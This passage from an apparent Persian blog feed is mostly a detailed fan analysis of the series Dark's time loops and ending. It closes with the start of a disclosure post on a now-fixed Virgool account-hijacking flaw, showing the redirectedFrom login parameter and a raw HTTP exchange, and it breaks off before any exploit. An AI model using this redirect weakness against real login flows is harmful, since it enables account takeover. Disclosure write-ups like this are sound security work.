تبدیل به آدم و ایو بشن. بعدا می‌بینیم که یوناس و مارتا توی این واقعیت دنیای سرچشمه رو نابود می‌کنن و همه چی از بین میره.چیزی که خیلی جالب هست، اینه که واقعیت اول و دوم روی هم و دنیا تاثیر می‌ذارن. یوناس و مارتای واقعیت دوم هر دو می‌میرن، اما علت اصلی به وجود امدن آدم، ایو و Unknown هستن:مارتای واقعیت دوم ماده تاریک رو به یوناس واقعیت اول می‌ده (ماده اصلی ماشین سفر در زمان) و باعث میشه اون تبدیل بشه به آدمیوناس واقعیت دوم به مارتا راه سفر در زمان رو یاد می‌ده و در نهایت مارتای واقعیت اول تبدیل به ایو میشهیوناس واقعیت دوم، با مارتا همبستر میشه و باعث میشه بچه Unknown بوجود بیادقسمت‌های مهم سریال دارک (نقاطی از سریال که برای من جالب بودن)۱. در وقعیت اول، بعد از آپوکالیپس، یوناس توی آینده بدون توانایی سفر در زمان گیر میفته و با کلادیا و بقیه سعی می‌کنن که ‌ذره خدا رو پایدار کنن و پورتال زمانی رو درست کنن. یک روز یوناس خسته میشه و میره که خودش رو دار بزنه. اما جوونی نواح نجاتش میده، بش میگه تو نمی‌تونی خودت رو بکشی، چون من پیری‌هات رو که آدم هستی دیدم (در واقع پیشتر گفتیم که تغییر image اصلا معنا نداره). بعد بش یه تفنگ میده و میگه به خودت شلیک کن. یوناس شلیک می‌کنه و تیری زده نمیشه، اما جوونی نواح، تفنگ رو میگیره و شلیک می‌کنه و تیر زده میشه (فصل ۳، قسمت ۷). این سکانس شاید کمی گول‌زننده باشه، چرا که اینطور استنباط میشه که یوناس حتی اگه بخواد هم نمی‌تونه خودش رو بکشه (تیر شلیک نمیشه). اما از این غافل نشیم که خود آدم هم توی جوونیش این لحظه رو تجربه کرده و در واقعیت تفنگ بر اثر یه دلیل نامعلوم، تیرش شلیک نشده. اگه قرار بود با زدن ماشه تیر شلیک بشه، اصلا یوناس هیچ وقت به این مرحله نمی‌رسید و image طور دیگه‌ای می‌بود. کارگردان با زیرکی از این سکانس استفاده می‌کنه برای اینکه نشون بده تغییری وجود نداره، چون معنی نداره (توجه کنید که همین سکانس رو نمی‌شد با چاقو پر کرد).۲. مسیر زمانی یادگیری سفر در زمان کلایدا از مسیرهای بسیار جالت بود. کلادیای پیر، تو زمان سفر می‌کنه و میره به سال ۱۹۵۳ و نحوه ساخت ماشین زمان و کتابی که ساعت‌ساز پیرتر نوشته رو به ساعت‌ساز جوون میده (فصل ۲، قسمت ۳) و بش میگه یه روزی جوونیش میاد و ازش راجع به سفر در زمان سوال می‌کنه.همچنین آینده کلادیا (پیرزن)، به ۱۹۵۴ سفر می‌کنه (فصل ۲، قسمت ۳)،‌ ماشین زمان رو توی زمینی که قراره خونه خودش بشه دفن می‌کنه.توی سال ۱۹۸۶، یوناس پیرتر، پیش ساعت‌ساز میاد و ماشین زمان کهنه‌تری به ساعت‌ساز میده و میگه تعمیرش کن و ماده‌ تاریک که سوخت دستگاه هست رو بش میده (فصل ۱، قسمت ۱۰). در اخر توی ۲۲ ژوئن ۲۰۲۰، کلادیای جوونتر رو توی نیروگاه ملاقات می‌کنه و بش این راز رو می‌گه (فصل ۲، قسمت ۲). توی سال ۱۹۸۷، کلادیای جوون‌تر ساعت‌ساز پیر رو ملاقات می‌کنه و ساعت‌ساز نحوه استفاده از دستگاه رو به کلادیا یاد میده. اینطوری کلادیا دستگاه رو بدست میاره و سفر در زمان رو یاد می‌گیره.یعنی در یک تلاطم علت و معلول در آینده و گذشته، کلادیا نحوه سفر با ماشین زمان رو یاد می‌گیره.۳. مسیر زمانی یوناس که تبدیل میشه به آدم یکی از قشنگ‌ترین مسیرهای زمانی سریال هست. من به‌صورت خلاصه خط زمانی یوناسی که تبدیل به ادم میشه (واقعیت اول) رو تعریف می‌کنمبیوناس توسط آینده خودش سفر در زمان رو یاد میگیره و به سال ۱۹۸۶ میره و سعی می‌کنه مایکل رو پیدا کنه تا اینکه می‌فهمه مایکل بابای خودش هست و نسخه پیرترش بش میگه که نباید به مایکل چیزی بگییوناس توسط نوح دزدیه میشه و توی زیر زمین حبس میشه، اینجا آینده خودش رو میبینه و می‌فهمه اون آینده خودش هست، اما آینده خودش در رو براش باز نمی‌کدنه و اونجا زندانی می‌مونه. آینده خودش بش میگه که به زودی سفر در زمان رو تجربه می‌کنیوقتی آینده یوناس تونل زمان رو می‌بنده، یک تونل زمانی توی زیر زمین ساخته میشه که یوناس هلگا رو می‌بینه و دستشون رو به هم می‌زنن، این‌طوری یوناس به ۲۰۵۲ منتقل میشهتوی ۲۰۵۲ بعد از کلی سختی، توسط خواهرش از زندان نجات پیدا می‌کنه و توسط پورتال زمانی به سال ۱۹۲۱ سفر می‌:نه، جایی که آدم رو ملاقات می‌کنهیوناس توسط آدم به سال ۲۰۱۹ میره که مایکل رو از مرگ نجات بده (در واقع باعث مرگش بشه) و کلادیا رو ملاقات می‌کنهیوناس در قدم بعدی مایکل رو به سال ۱۹۸۶ میاره و یک سال تمام زمان صرف می‌کنه که همه چیز رو راجع به زمان یاد بگیرهتوی سال ۱۹۸۷ با کلایدا، تونل زمانی رو که نسخه پیرتر خودش نابود کرده بود رو دوباره فعال می‌کنن و با کلادیا به سال ۲۰۲۰ میرهییاوناس سعی می‌کنه توی ۲۰۲۰ در زمان آپوکالیپس مارتا رو نجات بده که آدم ما ماشین زمان میاد و مارتا رو می‌کشه و یونناس فرار می‌کنه توی زیر زمیناینجا یوناس برای اولین بار مدت طولانی رو گیر میفته چون دیگه نه غار برای سفر در زمان وجود داره نه ماده تاریک برای استفاده از دستگاه سفر در زمانتوی سال ۲۰۵۲ بلاخره یوناس موفق میشه پورتال زمانی رو درست کنه و برگرده سال ۲۰۱۹ تا به نسخه جوون‌ترش بگه که مایکل رو به سال ۲۰۱۹ برنگردونه چون چرخه خراب میشهایجا یوناس اطلاعات غار رو برای سفر در زمان به نسخه جوون‌تر خودش میدهیوناس توی سال ۲۰۲۰۲ میره و به هانا میگه که یوناس هست و هانا رو توی یه سفر به سال ۱۹۸۷ می‌بره و ماشین زمانش رو از دست می‌ده چون هانا اون رو می‌برهیوناس به ۲۰۲۰ برمی‌گرده که مارتا رو از قتل نجات بده، چون تو جوونیش دیده بوده که آدم اون رو می‌کشه، اما مارتا به حرفش گوش نمی‌کنه و به خونه یوناس میره و کشته میشهلحظه آپوکالیپس، یوناس، مگنس، فرانسیسکا و بارتوش رو با ماشین زمان کاترینا به زمان ۱۸۸۸ می‌بره که نجاتشون بدهاونجا برای دومین بار، مدت زمان بسیار طولانی گیر میافته و گروه سیکموند رو تشکیل میده. یوناس مارتا رو ملاقات می‌:نه که بش میگه از دنیای دیگه اومده و اون رو لحظه آپوکالیپس نجات داده، البته که چنین چیزی رو تجربه نکردهساخت پورتال زمانی بسیار کند پیش میره برای همین یوناس رفته رفته واقعیت رو می‌پذیره و شخصیت آدم در حال شکل‌گیری هستهانا با ماشین زمانی که از یوناس برده بود، همراه خواهر ناتنیش (از تیدمن) به سال ۱۹۱۱ میاد (یوناس ۲۳ سال اینجا گیر کرده بوده) و یوناس مادرش رو می‌کشه، خواهرش رو به ۲۰۵۲ می‌فرسته که نسخه جوون‌ترش رو از زندان نجات بدهسال ۱۹۲۱ هست و یوناس تبدیل به آدم شده، نسخه جوون‌ترش رو ملاقات می‌کنه و اون رو به ۲۰۱۹ می‌فرسته تا پدرش رو بکشه (در ظاهر نجات بده)آدم نواح رو مامور می‌کنه که صفحات گم‌شده دفترچه رو پیدا کنه و بعد اینکه دفترچه رو بدست میاره، نواح رو می‌کشهآدم به لحظه آپوکالیپس سفر می‌کنه (۲۰۲۰) و مارتا رو جلوی یوناس می‌کشه.آدم به سال ۲۰۵۲ می‌ره و با مگنس و فرانسیسکا سعی می‌کنه دنیا رو نابود کنه و بلاخره مارتای حامله رو گیر میندازه (مارتای حقیقت دوم)آدم مارتا رو با نیروی آپوکالیپس دو دنیا می‌کشه اما چیزی تغییر نمی‌کنه، اینجا کلادیا رو ملاقات می‌:نهبعد ملاقات با کلادیا، به لحظه آپوکالیپس میره و واقعیت دیگه‌ای بوجود میاره و دو دنیا رو کامل نابود می‌کنه و خودش از بین میره۴. تونل زمانی بین سه زمان ۱۹۵۳، ۱۹۸۶ و ۲۰۱۹ در تاریخ ۲۱ ژوئن ۱۹۸۶ (تاریخ ساخته شدن دو دنیا) بوجود میاد (این رو توی فصل ۳، قسمت ۸ دقیقا نشون میده). این تول، قابلیت جابجایی زمانی ۳۳ یا ۶۶ سال رو به کسی که ازش استفاده می‌کرده رو می‌داده (با توجه به اینکه شخص استفاده کننده در چه سالی هست). یوناس پیرتر توی ۱۲ نوامبر ۱۹۶۸، تونل زمانی رو نابود می‌کنه تا کسی دیگه نتونه ازش استفاده بکنه (در تمامی شش ماهی که تونل خراب بوده، در زمان‌های مختلف امکان استفاده وجود نداشته). کلادیا با یوناس جوون، توی سال ۲۰۲۰ با ماشین زمان، تونل رو باز می‌کنن. این تونل توی دنیای اول بعد ۲۰۲۱ از بین میره و دیگه باز نمیشه.۵. تلخ‌ترین لحظه سریال به نظر من قسمتی هست که هانا، نسخه اولیه آدم رو ملاقات می‌کنه. دستش رو روی صورت آدم میذاره مثل دفعه قبل (دفعه اول، هانا توی فصل ۲،‌ قسمت ۱، یوناس پیرتر رو ملاقات می‌کنه)، اشک تو چشاش جمع میشه، در حالی که نگاه آدم بدون هیچ احساسی هست، دست هانا رو از رو صورتش برمی‌داره و بعد تو رتخواب خفش می‌کنه. رابطه هانا با یوناس یه رابطه احساسی عمیق بوده، اما آدم چطور انقدر بی‌احساس میشه؟ یکی از نقاط اوج سریال این سکانس و این تبدیل شدن بود. اینکه وقتی یوناس واقعیت رو میفهمه، دیدش به همه چی عوض میشه و احساساتش کلا از بین میره. وقتی می‌فهمه دنیا چطور کار می‌کنه، می‌فهمه که همه یه جز کوچیک از پازل هستن و افراد اصلا مهم نیستن، بلکه هدف مهم هست (اصلا درست و غلطی هدفش مد نظرم نیست).۶. موقعی که بارتوش، مگنس، فرانسیسکا و مارتا توی دریاچه دارن شنا می‌کنن (فصل ۲، قسمت ۶) بارتوش به مارتا میگه: «میدونستی که یه خانم توی این دریاچه غرق شده؟» که مارتا بش میگه: «بس کن». فیلم اینطوری نشون میده که باتوش داره اذیت می‌کنه و این یک افسانه هست. اما بعدا نشون میشده که مادر کاترینا، اون رو کنار دریاچه می‌کشه و جسدش رو میندازه توی آب همین دریاچه (فصل ۳، قسمت ۸)۷. گفتیم که جسم نمی‌تونه توی یک حلقه زمانی بیفته چون مستحلک میشه. بری این موضوع ۳ تا مثال میارم که توی سریال برام جالب بود. یکی شبی که یوناس پیش مایکل میره که از خودکوشی مایکل جلوگیری کنه (فصل ۲،‌قسمت ۶). یوناس نامه که از آینده اورده رو نشون مایکل میده، مایکل از روی نامه یکی می‌نویسه. اگه از همون نامه استفاده می‌کرد نامه توی یک حلقه زمانی گیر می‌افتاد و چنین حالتی قابل رخ دادن نیست.مورد بعد پِنی هست که سال ۲۰۱۹ توی بند مَدز پیدا شد. اول ممکنه اینطوری بنظر برسه که پنی از جنازه مَدز توسط اویلریک برداشته میشه، بعد اویلریک به سال ۱۹۵۳ میره و پِنی رو به هلگا میده، بعد همون پِنی رو هلگا به مدز میده و جسم داخل حلقه زمانی گیر میفته.اولریک پِنی رو برمیداره و در زمان به میره عقب میره (سال ۱۹۵۶) و اون رو به هلگا میده اون رو. هلگا نگهش میداره پیش خودش تا بزرگ بشه. بعد به هر کدوم از بچه‌ها که میخوان در زمان سفر کنن یه پِنی میده (پس در کل بیشتر یه پِنی وجود داشته و هلگا پنی خودش رو همیشه نگه میداره). پس پِنی خودش رو نمیده، چون نشون میده که پِنی خودش رو نگه می‌داره تا سال ۲۰۱۹ و ازش به‌عنوان صفحه‌نگهدار کتاب استفاده می‌کنه.مورد آخر ساعتی هست که نواح به شارلوت میده. در نگاه اول بنظر میاد لوپ باشه اینطوری:۱. شارلوت با ساعت طلایی توی سال ۱۹۷۱ به تانهاس داده می‌شن۲. شالوت بزرگ میشه. ساعت رو به الیزابت دخترش میده۳. دخترش ساعت رو نگه میداره، بعدا با نواج شارلوت رو توی سال ۲۰۴۱ بدنیا میاره۴. شارلوت و ساعت دزدیده می‌شن و در سال ۱۹۷۱ به تانهاس داده می‌شن (مورد ۱)اما نکته‌ای که هست اینه که شالوت ساعت رو به الیزابت نمیده، بلکه ساعتی که خودش داره رو نشون نمیده چه بلایی سرش میاد توی سریال، و از اون سمت الیزابت ساعت رو از نواح میگیره. نواح از کجا میاره؟ از سال ۱۸۸۸ که مارتای اون دنیا زیر نامه یوناس میذاره. یعنی ساعتی که الیزابت میگیره با ساعتی که شارلوت داشته یکی نیست و حلقه بالا می‌شکنه.پس اینطوری میشه:۱. شارلوت با ساعت طلایی توی سال ۱۹۷۱ به تانهاس داده می‌شن۲. شالوت بزرگ میشه. ساعت رو برای خودش نگه میداره (اینجا حلقه زمانی می‌شکنه)۳. Unknown گوستاو رو می‌کشه و ساعت خوانوادگیشون رو میگیره و میده به ایو (اینجا شروع خط زمانی ساعت طلایی هست)۴. ایو ساعت رو میده به مارتا، مارتا تو سال ۱۸۸۸ ساعت رو زیر نامه‌ای که برای یوناس نوشته میذاره۵. نواح ساعت رو بر میداره و پیش خودش نگه میداره۳. دخترش ساعت رو از نواح میگیره، بعدا با نواج شارلوت رو توی سال ۲۰۴۱ بدنیا میاره۴. شارلوت و ساعت دزدیده می‌شن و در سال ۱۹۷۱ به تانهاس داده می‌شن (مورد ۱)پس شروع خط زمانی ساعت میشه خانواده تانهاس، خاتمش میشه شارلوت. اگه شارلوت ساعت رو یه‌طوری به خانواده تانهاس می‌داد حلقه زمانی شکل می‌گرفت. جد از این مثال‌ها، بنظرم سریال هیچ‌جا «علنا» نشون نمیده که جسم توی حلقه بیفته، همیشه یه راه فرار کوچیکی میذاره، شاید هم این قسمت رو عمدا دو پهلو ساختن.۸. دستکاری نیروگاه توسط Unknown دو تا تحلیل می‌تونه داشته باشه:اول) دلیل بوجود اومدن اتفاقی که باعث آپوکالیپس در واقع Unknown بود با قطع کردن برق (؟)، باعث شد وقتی درِ بشکه‌ها باز میشه اون رخداد اتفاق بیفته (فصل ۳، قسمت ۶). البته پیشتر دیدیم که دلیل بوجود اومدن نیروگاه (مجوز نیروگاه) خود Unknown هست (فصل ۳، قسمت ۴).دوم) دلیل حادثه نیروگاه و بوجود اومدن موادی که توی بشکه‌های زرد نگهداری میشدن. این مواد دلیل اصلی بوجود اومدن آپوکالیپس و بعد از اون ذره خدا بودن.توضیح پایان سریال دارک (پایانی بد یا بسیار خوب؟)از نظر من سریال پایانی بسیار بد برای کسایی که منطق سریال رو دنبال می‌کردن و انتظار داشتن پایان با منطف قبلی همخوانی داشته باشه، و پایانی بسیار زیبا برای کسایی که دنبال نتیجه بودن داشت. در واقع این پایان از منظر روان‌‌شناسی ذهن مخاطب رو بعد یک هزارتوی پیچ در پیچ رها می‌کرد. بیاین از دیالوگ کلادیا با آدم شروع کنیم، چند سوال مهم پیش میاد:سوال اول) کلادیا مگه نمرده بود؟ چطور الان حضور داشت؟ بر اساس تحلیل من و دیالوگ کلادیا (ازش منظور لحظه آپوکالیپس هست که میشه واقعیت‌های چندگانه بوجود اورد):کلادیا از لحظه آپوکالیپس استفاده کرده و واقعیت دومی از خودش بوجود آورده، توی واقعیت اول نواح اون رو می‌کشه، توی واقعیت دوم به آدم میرسه و اون دیالوگ‌ها رو بش میگه. اما تحلیل دیگه‌ای هست که توی  این سایت نشون میده که این قبل از مرگ کلادیا اتفاق افتاده (تایم‌لاین کلادیا رو ببینید)، بعدش کلادیا در زمان میره عقب‌تر و نسخه جوون‌تر خودش رو میبینه، بعدش باز در زمان میره عقب‌تر ماشین زمان رو برای نسخه جوون‌تر خودش خاک می‌کنه و بعدش نواح توی جنگل اون رو می‌کشه. اما چون توی این زمان حال نواح مرده، بنظر من این این نمودار زمانی برای کلادیا اشتباه هست. این تحلیل بنظر من درست نیست چون وقتی آدم داره با کلادیا صحبت می‌کنه نواح مرده، و توی فصل دو دیدیم که نواج کلادیا رو می‌کشه. پس از لحاظ زمانی، این اسکانس بعد از مرگ کلادیا داره اتفاق می‌افته.سوال دوم) آدم از کلایدا می‌پرسه که این صحنه، قبلا هم اتفاق افتاده؟اینجا بر اساس آنچه پیشتر گفتیم، یک خطای فیلمنامه‌ای داریم. چرا؟ نه این مکالمه، بلکه تمامی مکالمه‌ها و لحظه‌های دیگه برای شخصیت توی سریال تنها یک بار رخ میدن. مگر مکالمه‌هایی که توی یک حلقه زمانی وجود دارن، این مکالمات دوبار برای یک شخصیت رخ میدن. مثلا مکالمه یوناس با آدم، از دید یوناس یک بار در جوانی، ‌یک بار هم در پیری (که به آدم تبدیل شده) رخ میده. ولی مثلا مکالمه کلادیا با یوناس شبی که مایکل قرار بوده بمیره، فقط یک بار رخ میده چه از دید کلادیا چه از دید یوناس. بر اساس نتیجه‌گیری‌هایی که در بخش «منطق اتفاقات در سریال دارک» راجع بش صحبت کردیم و ۲۵ قسمت سریال دقیقا بر پایه اونا بوده، این دیالوگ خارج منطق سریال بود.سوال سوم) کلادیا از image بیرون اومده؟ بنظر من خیر. کلادیا و حتی واقعیت سومی که آدام بوجود میاره (میره و یوناس رو نجات میده) همگی جزی از این image هستند. فقط سریال تا قبل از قسمت ۸ فصل ۳، داشت وقایع رو بصورت فلش‌بک نشون می‌داد، اما توی قسمت ۸، زمان حالِ آدم رو نشون میده. یعنی لحظه‌هایی که خود حالِ آدم داره تجربه می‌کنه رو ما میبینیم. تنها در صورتی می‌تونیم بگیم image تغییر کرده که نسخه قبل‌تر رو داشته باشیم. پس تمام سکانس‌های بعد از ملاقات کلادیا می‌تونن توی image باشن.سوال چهار) چرا ایو از وجود چندین واقعیت با خبر بود اما آدم نه؟ بخاطر اینکه واقعیت دوم یوناس مارتا یا همون ایو رو باردار می‌کنه، و بعد توسط مارتای واقعیت اول (که خود ایو هست) کشته میشه. پس ایو میدونسته که دو تا واقعیت هست وگرنه آدم نباید وجود میداشت. ولی آدم (که بزرگ شده واقعیت اول یوناس هست) هیچ وقت متوجه وجود واقعیت دوم نمیشه. اینجا یه اشکال اساسی وجود داره که پس آدم چطور پیش خودش بچه Unknown رو که از خودش و ایو هست رو توجیه می‌کنه؟ توی این سایت میگه با نگاه کردن به شجره‌نامه. شاید آدم فکر می‌کنه در آینده مارتا رو (هنوز تحربش نکرده) حامله می‌کنه؟ شاید هم همیشه براش سوال هست این چیه؟ اما چیزی که مسلمه اینم یکی دیگه از نقاط ضعف سریال هست که توی قسمت آخر نشون داده میشه.سوال پنچم) تلاش‌های ایو، کلادیا و آدم برای نگه داشتن و نابودی گره چطور توجیه میشه؟ باید بگم که یوناس وقتی جوون بوده، کلی اتفاق براش افتاده و دیده که آپوکالیپس رخ داده، دیده پدرش خودکشی کرده و خیلی اتفاقای دیگه. دلیل خیلی از این اتفاق‌ها خود آدم بوده. همون یوناس وقتی پیر میشه و تبدیل به آدم میشه، سعی می‌کنه همون اتفاق‌ها رو تکرار کنه که آپوکالیپس رخ بده و بتونه بچه مارتا رو بکشه (و البته که کشتن بچه مارتا هم جزئی از همون imageغیر قابل تغییر بوده). اما آدم اون کارها رو انجام داده و نمیتونه انجام نده،‌یعنی فقط توهم اختیار رو داره و دقیقا همه چیز طبق image داره پیش میره. پس دیالوگ‌هایی مثل «آدم داره سعی می‌کنه آخرین چرخه رو ببنده» یک وهم خالی هست. چرا که این چرخه‌ها خیلی وقت پیش بسته شدن و امکان تغییرشون نیست. دقیقا همین توهم رو هم ایو توی دنیای موازی داره.طبق همین استدلال، کلادیا هم جزی از این image هست. شاید بگین نه اگه اینطور بود نمی‌تونست تغییر ایجاد کنه. اینجاست که باید بگم شما پایانی دیگه رو برای سریال متصور شین که یوناس و مارتا نمی‌تونستن خانواده ساعت‌ساز رو نجات بدن و سریال تموم می‌شد. با این فرض، میبینین که سریال از منطق خارج نشده و این image وجود داشته و همه توی وهم اختیار بودن.سوال ششم) منظور از دیالوگ ایو به مارتا چیه: «اونا باید همه بمیرن، تا دوباره بتونن متولد شن». منظور همون حلقه زمانی هست، اگه نمیرن، image خراب میشه و سرنوشتی دیگه در انتظار همش، شاید اون شخصیت دیگه حتی متولد هم نشه، که البته گفتیم این توهم ایو هست و این image غیر قابل تغییر هست.سوال هفتم) چرا ایو میدونست که ادم اون رو میکشه، و چطوری آدم نکشت؟ جواب اینه که وقتی ادم ایو رو می‌کشه، مارتای میان‌سال این صحنه رو میبینه، ایو هم پیری همون مارتا هست پس انتظار داره که کشته بشه. اما چرا کشته نمیشه؟ چون ما توی واقعیت سوم هستیم. در واقع توی واقعیت اول ایو با شلیک گلوله توسط آدم کشته میشه (توی دوم هم که کشته میشه وقتی مارتا هست) که سریال این سکانس رو نشون نمیده.سوال هشتم) کلادیا چطور متوجه واقعیت دنیا شد؟ از کجا منشا رو کشف کرد؟ جواب این سوال رو کارگردان خیلی وقت پیش داده بوده: پارادوکس Bootstrap. البته اینکه اتفاق به این مهمی رو نشون نمیده (حلقه زمانی رو که این اطلاعات توش بوجود میاد)، به نظر من باز جز ضعف‌های سریال هست و اینکه قسمت آخر کلا قطار (که ۲۵ قسمت روی ریل بود) از ریل خارج شده بود.ولی سریال تمام منطق و استدلال‌های خودش رو توی نیم ساعت فوق فانتزی از بین می‌بره. اما به راستی چرا؟ از نظر من فقط بخاطر ذهن مخاطب. به سکانس ظاهر شدن مارتا و یوناس جلوی ماشین پسر ساعت‌ساز توجه کنید:ماشین یک انحراف شدید داره، این یک پیغام از طرف کارگردان و فیلم‌نامه‌نویس به منِ تعقیب کننده سریال و در انتظار پاینی حلقه‌وار هست: «من می‌تونستم پایان رو اینطور تموم کنم که یوناس و مارتا باعث این تصادق بشن، اینطوری اون دنیا و دنیای منشا توی یک حلقه بی‌پایان میفتادن. اما این کار رو نکردم که ذهن مخاطب رو آزاد کنم و سریال رو از پوچی بی‌پایان نجات بدم».در پایان باید بگم که این سریال با تمام پیچیدگی‌ها، ضعف‌ها و کاستی‌ها، یکی از بهترین سریال‌های ساخته شده تا امروز توی شانر سفر در زمان بوده. امیدوارم که از این نوشته طولانی لذت برده باشید، با نظراتتون خوشحالم کنید.

{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@type&quot;: &quot;FAQPage&quot;,
  &quot;mainEntity&quot;: [{
    &quot;@type&quot;: &quot;Question&quot;,
    &quot;name&quot;: &quot;منظور از حلقه زمانی در سریال دارک چیست؟&quot;,
    &quot;acceptedAnswer&quot;: {
      &quot;@type&quot;: &quot;Answer&quot;,
      &quot;text&quot;: &quot;حلقه زمانی در واقع رخدادی رو نشون میده که علت و معلول در یک دایره قرار دارند و به‌طور همزمان همدیگه رو میسازن. یعنی «الف» دلیل رخ دادن «ب» هست و برعکس. این حلقه پیشتر توی فیلم Interstellar هم نشون داده شده. سریال دارک از حلقه‌های زمانی متعددی تشکیل شده. در تحلیل این سریال باید حواسمان باشد که از عبات کلی «حلقه زمانی» استفاده نکنیم. برای مثال جمله «کلادیا چطور تونست حلقه زمانی رو بشکونه» غلط هست. چرا که باید مشخص شود کدام حلقه؟ یکی از حلقه‌های زمانی معروف در فصل اول، دیدار یوناس جوان و میان‌سال هست.&quot;
    }
  },{
    &quot;@type&quot;: &quot;Question&quot;,
    &quot;name&quot;: &quot;چطور کلادیا از حقیقت دنیا با خبر شد؟&quot;,
    &quot;acceptedAnswer&quot;: {
      &quot;@type&quot;: &quot;Answer&quot;,
      &quot;text&quot;: &quot;در واقع نویسندگان سریال در فصل ۱ جواب این سوال را داده‌اند. یوناس چطور فهمید که چطور در زمان می‌تواند سفر کند؟ پارادوکس بوت‌استرپ که در فصل دوم ساعت‌ساز راجع به اون صحبت می‌کنه، در واقع این مفهوم رو می‌رسونه که اطلاعات در حلقه‌های زمانی بوجود میان و منشائی ندارن. پس همون طور که «فهمیدن سفر در زمان یوناس» منشا نداره، «کشف حقیقت دنیا توسط کلادیا» هم منشا نداره. تنها تفاوت اینه که سریال حلقه زمانی کلادیا رو نشون نمیده که آینده پیرترش این حقیقت رو به خودش میگه.&quot;
    }
  },{
    &quot;@type&quot;: &quot;Question&quot;,
    &quot;name&quot;: &quot;چطور کلادیا حلقه زمانی رو شکست؟&quot;,
    &quot;acceptedAnswer&quot;: {
      &quot;@type&quot;: &quot;Answer&quot;,
      &quot;text&quot;: &quot;پیشتر گفتیم که این سوال غلط هست. سوال درست‌تر اینه که بگیم کدوم حلقه رو شکونده؟ در واقع به این نکته پی می‌بریم که حلقه‌ای شکسته نشده چون حلقه‌ای نشون داده نشده. پس برای چی کلادیا به آدم میگه: «این اولین باره که ما داریم با هم صحبت می‌کنیم.و قبلا اتفاق نیفتاده». برای اینکه کامل متوجه بشید، پیشنهاد می‌کنم ابتدا کل پست رو بخونید.&quot;
    }
  },{
    &quot;@type&quot;: &quot;Question&quot;,
    &quot;name&quot;: &quot;تانهاس چطوری ماشین زمان رو در دنیای منشا ساخت؟&quot;,
    &quot;acceptedAnswer&quot;: {
      &quot;@type&quot;: &quot;Answer&quot;,
      &quot;text&quot;: &quot;در واقع تانهاس ماشین زمانی رو میسازه که خانوادش رو نجات میده، اما هیچ وقت از بوجود آمدن چنین ماشینی اطلاع نداره. یعنی سریال نشون میده از دید تانهاس، ماشین زمانی ساخته نمیشه و حتی تانهاس علمش رو نداره. آینده تانهاسی که ماشین زمان رو میسازه خانوادش رو نحات میده، بدون اینکه تانهاس اصلا این آینده رو تجربه کنه. برای همین هیچ‌وقت به اینکه تانهاس چطوری ماشین رو میسازه نمی‌پردازه و فقط نشون میده که قطعات رو سر هم می‌کنه و ساخته میشه.&quot;
    }
  },{
    &quot;@type&quot;: &quot;Question&quot;,
    &quot;name&quot;: &quot;آدم چطور بوجود می‌آید در صورتی که یوناس توسط مارتا کشته شده؟&quot;,
    &quot;acceptedAnswer&quot;: {
      &quot;@type&quot;: &quot;Answer&quot;,
      &quot;text&quot;: &quot;جواب این سوال رو سریال در قسمت ۷ فصل ۳ نشون میده. در واقع کارگردان از گربه شرودینگر استفاده می‌کنه که نشون بده چندین واقعیت می‌تونن به‌صورت همزمان وجود داشته باشن. در واقعیت اول، یوناس و مارتا در دو می‌میرند. اما در واقعیت دوم، یوناسه به آدم و مارتا به ایو تبدیل میشه میشن. دلیل تبدیل شدنشون هم ایو هست (آینده مارتا) که بارتوش رو به لحظه آپوکالیپس می‌فرسته تا از نجات دادن یوناس توسط مارتا جلوگیری کنه.&quot;
    }
  }]
}

</description>
                <category>YShahinzadeh</category>
                <author>YShahinzadeh</author>
                <pubDate>Wed, 19 Aug 2020 22:31:49 +0430</pubDate>
            </item>
                    <item>
                <title>چطور من می‌تونستم حساب ویرگول هرکی رو هک کنم؟</title>
                <link>https://virgool.io/memoryleak/%DA%86%D8%B7%D9%88%D8%B1-%D9%85%D9%86-%D9%85%DB%8C%D8%AA%D9%88%D9%86%D8%B3%D8%AA%D9%85-%D8%AD%D8%B3%D8%A7%D8%A8-%D9%88%DB%8C%D8%B1%DA%AF%D9%88%D9%84-%D9%87%D8%B1%DA%A9%DB%8C-%D8%B1%D9%88-%D9%87%DA%A9-%DA%A9%D9%86%D9%85-avykxkqiq7t0</link>
                <description>خب این نوشتار مربطو به آسیب‌پذیری هست که توی ویرگول پیدا کردم، به بچه‌های ویرگول اطلاع دادم و الان که این پست عمومی میشه، آسیب‌پذیری مرتفع شده.داستان به این شکل بود که ویرگول قابلیت domain parking رو به کاربراش میده، برای مثال site.com می‌تونه یک کپی از virgoo.io/virgoolname باشه. در حالی که توی ویرگول لاگین نبودم، داشتم از سایت https://tech.cafebazaar.ir بازدید می‌کردم،‌ متوجه یه لینک شدم:https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&amp;amp;status=loginروی لینک کلیک کردم، به سایت اصلی ویرگول منتقل شدم، لاگین کردم و به‌صورت خودکار به سایتی که توش بودم برگشتم (https://tech.cafebazaar.ir). اگه بخوایم جریان‌کاری رو ببینیم (به قسمت‌های پررنگ‌تر توجه بیشتر بشه):‍‍‍GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&amp;status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://tech.cafebazaar.ir/
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1
Upgrade-Insecure-Requests: 1جواب سرور:HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: https://virgool.io/login
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
